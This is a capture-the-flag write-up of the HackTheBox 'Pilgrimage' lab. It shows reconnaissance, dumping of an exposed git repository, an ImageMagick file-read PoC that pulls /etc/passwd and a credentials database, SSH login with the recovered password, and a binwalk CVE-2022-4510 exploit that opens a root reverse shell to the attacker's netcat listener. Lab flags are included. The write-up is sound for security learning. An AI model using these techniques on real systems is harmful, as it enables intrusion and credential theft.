Hello guys this on we will be solving an easy machine on hackthebox, but it was not certainly easy for me. Luckily through some googling and hints was able to pwn the machine, before we start out our hacking journey that let’s connect to the private network of the hackthebox and let’s get started.
1. Initial Recon
This part will be divided into 3 stages.
- NMAP Scan
- Directory bruteforcing using your favourite tool
- Using
git-dumper which is new to me.
A. NMAP Scan
Firstly let’s set an variable called ip, and assign it a value using export.
export MY_VARIABLE="value"
In our case the variable will be ip. This removes the burden of remember the ip or copy pasting each time.
export ip="your-htb-pilgrimage-ip"
Now let’s scan the box using nmap.
┌──(kali㉿kali)-[~]
└─$ sudo nmap --min-rate 4500 --max-rtt-timeout 1500ms -A -sS -p- --script=vuln,vulners -oX pilgrimage.xml --reason --stats-every 5s $ip
<snip>
Stats: 0:12:14 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.63% done; ETC: 10:53 (0:00:02 remaining)
Nmap scan report for 10.10.11.219
Host is up, received echo-reply ttl 63 (0.29s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http syn-ack ttl 63 nginx 1.18.0
|_http-vuln-cve2013-7091: ERROR: Script execution failed (use -d to debug)
|_http-server-header: nginx/1.18.0
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-passwd: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
<snip>
Nmap done: 1 IP address (1 host up) scanned in 739.02 seconds
B. Directory Bruteforcing
Since only 2 ports are enabled one is http and the other is ssh let’s do some web recon, and the popular way to gather some valuable information is using directory brute forcing with tools like gobuster, feroxbuster, but this time we will be using a new tool that’s dirsearch.
INSTALLATION
In kali to install this simply type in dirsearch and it will prompt you and ask if you wish to install it. In other debian based distro used -
sudo apt-get install dirsearch
Tool Usage
Simple use the -u argument to specify the url and go ahead, the command should look something like this.
dirsearch -u $ip
C. Further information gathering using git-dumper.
One can install the tool using git, but pip makes thing easier. Just make sure you are using python’s virtual environment to isolate the package so that it does not conflict wit system packages.
INSTALLATION STEPS
Create an virtual environment for git-dumper.
┌──(kali㉿kali)-[~]
└─$ sudo python3 -m venv git-dumper
[sudo] password for kali:
Activate your virtual environment using source command.
┌──(kali㉿kali)-[~]
└─$ source git-dumper/bin/activate
Finally use pip to install the tool.
┌──(git-dumper)─(kali㉿kali)-[~]
└─$ sudo pip install git-dumper
TOOL USAGE.
Simply invoke the tool using git-dumper command followed by the url followed by git parameter.
┌──(git-dumper)─(kali㉿kali)-[~]
└─$ git-dumper http://pilgrimage.htb/.git/ git
[-] Testing http://pilgrimage.htb/.git/HEAD [200]
<snip>
[-] Running git checkout .
To locate where the dump has been stored in your system, type ls and look for new files and cd into that directory.
┌──(git-dumper)─(kali㉿kali)-[~]
└─$ ls ; cd git
We do make a note that there is folder called as git and we find dump of our website. Feel free to analyse and understand how the website works.
┌──(git-dumper)─(kali㉿kali)-[~/git]
└─$ ls
assets dashboard.php index.php login.php logout.php magick register.php vendor
2. Exploitation
When you visit the website and in the website you see an option to shrink the image, if you upload a file, after shrinking the file, it shows exactly where it’s stored. Although this is certainly not a vulnerability in itself, lack of input sanitation and filtering could result a lot of damage. And let’s see if we can upload some malicious file into the website and see if it’s vulnerable against lfi or local file inclusion vulnerability.
Step 1- Weaponizing the exploit.
Luckily for us we have POC or proof of concept for this vulnerability and let’s quickly clone this in a separate directory under pilgrimage.
┌──(kali㉿kali)-[~/htb/pilgrimage/]
└─$ git clone https://github.com/Sybil-Scan/imagemagick-lfi-poc
Now use python to create a payload with name username and use the command to be executed on the website to be /etc/passwd. Why you ask, it’s simple because etc/passwd is a simple file on Linux, contains user account information, and through this we can verify the username. Although this could be optional but for the sake of confirmation let’s do this.
┌──(kali㉿kali)-[~/htb/pilgrimage/imagemagick-lfi-poc]
└─$ python3 generate.py -f "/etc/passwd" -o username.png
[>] ImageMagick LFI PoC - by Sybil Scan Research <research@sybilscan.com>
[>] Generating Blank PNG
[>] Blank PNG generated
[>] Placing Payload to read /etc/passwd
[>] PoC PNG generated > username.png
Similar to previous step, to get the password let’s check at /var/db/pilgrimage and output the file to password.png.
┌──(kali㉿kali)-[~/htb/pilgrimage/imagemagick-lfi-poc]
└─$ python3 generate.py -f "/var/db/pilgrimage" -o password.png
[>] ImageMagick LFI PoC - by Sybil Scan Research <research@sybilscan.com>
[>] Generating Blank PNG
[>] Blank PNG generated
[>] Placing Payload to read /var/db/pilgrimage
[>] PoC PNG generated > password.png
┌──(kali㉿kali)-[~/htb/pilgrimage/imagemagick-lfi-poc]
└─$ cd ..
┌──(kali㉿kali)-[~/htb/pilgrimage]
└─$ mkdir analysis
┌──(kali㉿kali)-[~/htb/pilgrimage]
└─$ cd analysis
Step 2- Delivering the exploit.
Just upload username.png and password.png to the website, after that download the both the images for further analysis. And let’s make a separate directory called as analysis to analyse interesting output from after uploading these images.
┌──(kali㉿kali)-[~/htb/pilgrimage/]
└─$ mkdir analysis ; cd analysis
Once you have uploaded, use wget to get the files from the server.
┌──(kali㉿kali)-[~/htb/pilgrimage/analysis]
└─$ wget http://pilgrimage.htb/shrunk/655f9877ee6d3.png
Let’s do the same for the next image.
┌──(kali㉿kali)-[~/htb/pilgrimage/analysis]
└─$ wget http://pilgrimage.htb/shrunk/655f9a23859f6.png
Step 3- Analyse the files, and decode the output.
Note that identify is a part of the ImageMagick suite of tools, and it is used to gather information about image files and -verbose gives the detailed output of the image.
┌──(kali㉿kali)-[~/htb/pilgrimage/analysis]
└─$ identify -verbose 655f9877ee6d3.png
Command 'identify' not found, but can be installed with:
sudo apt install graphicsmagick-imagemagick-compat
Do you want to install it? (N/y)y
sudo apt install graphicsmagick-imagemagick-compat
[sudo] password for kali:
┌──(kali㉿kali)-[~/htb/pilgrimage/analysis]
└─$ identify -verbose 655f9877ee6d3.png
Image: 655f9877ee6d3.png
<snip>
1437
726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d
6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f
6e6f6c6f67696e0a62696e3a783a323a323a62696e3a2f62696e3a2f7573722f7362696e
2f6e6f6c6f67696e0a7379733a783a333a333a7379733a2f6465763a2f7573722f736269
6e2f6e6f6c6f67696e0a73796e633a783a343a36353533343a73796e633a2f62696e3a2f
62696e2f73796e630a67616d65733a783a353a36303a67616d65733a2f7573722f67616d
65733a2f7573722f7362696e2f6e6f6c6f67696e0a6d616e3a783a363a31323a6d616e3a
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0a73797374656d642d7265736f6c76653a783a3130323a3130333a73797374656d642052
65736f6c7665722c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f
6c6f67696e0a6d6573736167656275733a783a3130333a3130393a3a2f6e6f6e65786973
74656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d74696d6573
796e633a783a3130343a3131303a73797374656d642054696d652053796e6368726f6e69
7a6174696f6e2c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c
6f67696e0a656d696c793a783a313030303a313030303a656d696c792c2c2c3a2f686f6d
652f656d696c793a2f62696e2f626173680a73797374656d642d636f726564756d703a78
3a3939393a3939393a73797374656d6420436f72652044756d7065723a2f3a2f7573722f
7362696e2f6e6f6c6f67696e0a737368643a783a3130353a36353533343a3a2f72756e2f
737368643a2f7573722f7362696e2f6e6f6c6f67696e0a5f6c617572656c3a783a393938
3a3939383a3a2f7661722f6c6f672f6c617572656c3a2f62696e2f66616c73650a
<snip>
Decoding the long text of a sequence of numbers and chacters on cyberchef website [or you can use burp suite’s decoder option] gives the following clean output.
<snip>
emily:x:1000:1000:emily,,,:/hom
e/emily:/bin/bash
<snip>
Now if we analyse the second image, it should give some random long string output and decoding the information we get our username and password.
┌──(kali㉿kali)-[~/htb/pilgrimage/analysis]
└─$ identify -verbose 655f9a23859f6.png
Image: 655f9a23859f6.png
<snip>
20480
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000000000000000400000004000000000000000000000001000000000000000000000000
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<snip>
On decoding we get the following information.
emilyabigchonkyboi123
Since we already know that emily is the username from image one, the later part abigchonkyboi123 is supposed to be the password.
3. Gaining Initial Acess
Let’s ssh into the machine with credentials from the previous step, and we get our user flag.
┌──(kali㉿kali)-[~/htb/pilgrimage/analysis]
└─$ ssh emily@10.10.11.219
The authenticity of host '10.10.11.219 (10.10.11.219)' can't be established.
ED25519 key fingerprint is SHA256:uaiHXGDnyKgs1xFxqBduddalajktO+mnpNkqx/HjsBw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.219' (ED25519) to the list of known hosts.
emily@10.10.11.219's password:
Linux pilgrimage 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Nov 24 05:19:20 2023 from 10.10.14.237
emily@pilgrimage:~$ whoami
emily
emily@pilgrimage:~$ ls
trustMe.png user.txt
emily@pilgrimage:~$ cat user.txt
bfa11342eca21e842b550515e33d5422
4. Local system enumeration.
Let’s download pspy64 an interesting file that allows use to is a tool used for monitoring Linux processes without the need for root privileges which is super handy in privilege escalation as it displays vital system information without the need to have root permissions. You can download this file from this url - https://github.com/DominicBreuker/pspy.
Now once you have downloaded the file, start simple http server using python. Note that here -m is module and python3 is starting up the http.server module.
┌──(kali㉿kali)-[~/htb/pilgrimage/analysis]
└─$ sudo python3 -m http.server
Transfer the file to your vulnerable machine using wget.
emily@pilgrimage:~$ wget http://10.10.14.96/pspy64
--2023-11-24 05:41:48-- http://10.10.14.96/pspy64
Connecting to 10.10.14.96:80... failed: Connection refused.
emily@pilgrimage:~$ wget http://10.10.14.96:8000/pspy64
--2023-11-24 05:42:34-- http://10.10.14.96:8000/pspy64
Connecting to 10.10.14.96:8000... connected.
HTTP request sent, awaiting response... 404 File not found
2023-11-24 05:42:34 ERROR 404: File not found.
emily@pilgrimage:~$ wget http://10.10.14.96:8000/pspy64
--2023-11-24 05:42:56-- http://10.10.14.96:8000/pspy64
Connecting to 10.10.14.96:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’
pspy64 100%[==================================================================>] 2.96M 383KB/s in 12s
2023-11-24 05:43:08 (255 KB/s) - ‘pspy64’ saved [3104768/3104768]
Let’s give this bad boy executable permissions. And execute the script.
emily@pilgrimage:~$ chmod +x pspy64
emily@pilgrimage:~$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
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<snip>
^CExiting program... (interrupt)
emily@pilgrimage:~$
We see an interesting process run in the system which is /usr/sbin/malwarescan.sh. Let’s have an look what this file is.
emily@pilgrimage:~$ cat /usr/sbin/malwarescan.sh
#!/bin/bash
blacklist=("Executable script" "Microsoft executable")
/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
binout="$(/usr/local/bin/binwalk -e "$filename")"
for banned in "${blacklist[@]}"; do
if [[ "$binout" == *"$banned"* ]]; then
/usr/bin/rm "$filename"
break
fi
done
done
Note that we don’t have proper permissions to edit this file. Therefore we have to try something new. This Bash script uses inotifywait to monitor the /var/www/pilgrimage.htb/shrunk/ directory for file creation events. When a new file is created, it employs binwalk to analyse the file contents and if binwalk finds terms like “Executable script” or “Microsoft executable,” the script deletes the file Let’s see if there are any exploits for binwalk.
5. Gaining Root Access
Now The exploit for this is on exploit-db and let’s save the file to /htb/pilgrimage as exploit.py .URL - https://www.exploit-db.com/exploits/51249. If we specify our system ip-address which can be found using ifconfig command, and mention a random port we should get an image which is exploit.png and it will be our exploit. Do note that you should have an legit png image file, and I took screenshot and saved the image as exploit.png.
┌──(kali㉿kali)-[~/htb/pilgrimage]
└─$ python3 exploit.py exploit.png 10.10.14.96 1234
################################################
------------------CVE-2022-4510----------------
################################################
--------Binwalk Remote Command Execution--------
------Binwalk 2.1.2b through 2.3.2 included-----
------------------------------------------------
################################################
----------Exploit by: Etienne Lacoche-----------
---------Contact Twitter: @electr0sm0g----------
------------------Discovered by:----------------
---------Q. Kaiser, ONEKEY Research Lab---------
---------Exploit tested on debian 11------------
################################################
You can now rename and share binwalk_exploit and start your local netcat listener.
Let’s start the netcat lister on port 1234.
┌──(kali㉿kali)-[~/htb/pilgrimage]
└─$ nc -nlvp 1234
listening on [any] 1234 ...
Now let’s transfer the image to our vulnerable machine using scp [secure copy] which allows us to transfer over ssh. Let’s check the file name so that we don’t do any mistakes and in our case the image name is binwalk_exploit.png.
┌──(kali㉿kali)-[~]
└─$ cd htb/pilgrimage
┌──(kali㉿kali)-[~/htb/pilgrimage]
└─$ ls
analysis binwalk_exploit.png exploit.png exploit.py imagemagick-lfi-poc
┌──(kali㉿kali)-[~/htb/pilgrimage]
└─$ scp binwalk_exploit.png emily@10.10.11.219:/home/emily
emily@10.10.11.219's password:
binwalk_exploit.png
Let’s copy the image to /var/www/pilgrimage.htb/shrunk/ so that malwarescan.sh script can start working on this image.
emily@pilgrimage:~$ cp binwalk_exploit.png /var/www/pilgrimage.htb/shrunk/
As soon as you do this, check your netcat listener you should have got reverse shell and let’s get the root flag.
┌──(kali㉿kali)-[~/htb/pilgrimage]
└─$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.96] from (UNKNOWN) [10.10.11.219] 42610
whoami
root
ls
_655f9877ee6d3.png.extracted
_655f9a23859f6.png.extracted
_655f9f390eba1.png.extracted
_binwalk_exploit.png.extracted
_trustMe.png.extracted
cat /root/root.txt
82a58625d598cb16f19bda382482f1b7
Mind-Map
This HackTheBox Pilgrimage challenge was definitely more advanced than most. The recon and initial access was pretty standard, nmap, dirbuster etc… but using the CVE-2022-4510 exploit was definitely pretty cool. HackTheBox always impresses me with the wide variety of different challenges they have. If you ever find yourself with nothing to do and you’re getting bored, try a random HTB machine, it’s a great way to have fun, learn new things and ensure you’re always productive. The last challenge box I tried, I randomly found from this HackTheBox SolidState writeup at GuidedHacking. It wasn’t quite as difficult as Pilgrimage but it was fun.
